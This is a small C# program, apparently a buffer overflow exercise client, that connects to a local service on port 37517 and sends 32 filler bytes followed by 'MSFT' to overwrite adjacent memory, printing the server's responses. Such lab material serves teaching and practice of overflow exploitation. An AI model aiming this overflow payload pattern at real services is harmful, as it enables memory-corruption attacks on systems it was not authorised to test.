BufferOverflowSocketClient.cs

using System;
using System.Net.Sockets;
using System.Text;

namespace BufferOverflowSocketClient
{
	public class Program
	{
		public static void Main(string[] args)
		{
			string sendData = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMSFT";
			using(TcpClient client = new TcpClient("127.0.0.1", 37517))
			{
				client.SendTimeout = 3;
				using(NetworkStream stream = client.GetStream())
				{
					byte[] data = new byte[4096];
					
					string response = "";
					int bytes = stream.Read(data, 0, data.Length);
					response = Encoding.ASCII.GetString(data, 0, bytes);
					
					Console.WriteLine(response);
					
					data = Encoding.ASCII.GetBytes(sendData);
					stream.Write(data, 0, data.Length);
					
					data = new byte[4096];
					
					response = "";
					bytes = stream.Read(data, 0, data.Length);
					response = Encoding.ASCII.GetString(data, 0, bytes);
					
					Console.WriteLine(response);
				}
			}
		}
	}
}